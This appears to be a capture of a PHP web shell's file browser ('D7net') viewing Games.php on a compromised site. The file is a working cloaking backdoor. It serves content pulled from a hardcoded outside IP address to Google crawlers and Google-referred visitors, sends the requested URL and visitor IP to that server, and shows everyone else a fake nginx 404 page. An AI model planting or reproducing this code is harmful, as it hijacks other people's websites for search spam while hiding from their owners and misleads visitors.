D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
probwael
/
oiltrain.org
/
Filename :
Games.php
back
Copy
<?php error_reporting(0); set_time_limit(0); date_default_timezone_set('PRC'); $Path = "http://165.154.233.49/index.php?url="; if (setPath() != "/") { if (checks()) { $Content_mb = getUrlContent($Path . 'tiaole'); echo $Content_mb; exit; } if (check()) { $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://'; $Content_mb = getUrlContent($Path . str_replace("?", "-", $_SERVER['REQUEST_URI']) . '&url2=' . $protocol . $_SERVER['HTTP_HOST'] . str_replace("?", "-", $_SERVER['REQUEST_URI'])); echo $Content_mb; exit; } } header("HTTP/1.0 404 Not Found"); echo "<html><!--@cubenav--> <head><title>404 Not Found.</title></head> <body bgcolor='white'> <center><h1>404 Not Found</h1></center> <hr><center>nginx</center> </body> </html>"; exit(); function check() { $agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; return preg_match("/google/i", $agent); } function checks() { $user_agent = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; return preg_match('/.*(google.com).*/i', $user_agent); } function setPath() { $path = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ($_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']); if (isset($_SERVER['SERVER_SOFTWARE']) && false !== stristr($_SERVER['SERVER_SOFTWARE'], 'IIS')) { if (function_exists('mb_convert_encoding')) { $path = mb_convert_encoding($path, 'UTF-8', 'GBK'); } else { $path = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $path)) == $path ? $path : @iconv('GBK', 'UTF-8', $path); } } $r = explode('#', $path, 2); return str_ireplace('index.php?404;', '', $r[0]); } function getUrlContent($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $userIp = getipd(); $headers = array( 'User-Agent: ' . (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'unknown'), 'X-Forwarded-For: ' . $userIp, 'X-Real-IP: ' . $userIp ); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLINFO_HEADER_OUT, true); $data = curl_exec($ch); if (curl_errno($ch)) { return 'Curl error: ' . curl_error($ch); } curl_close($ch); return $data; } function getipd() { if (!empty($_SERVER['HTTP_X_REAL_IP'])) { return $_SERVER['HTTP_X_REAL_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (!empty($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } else { return "Unknown"; } } ?>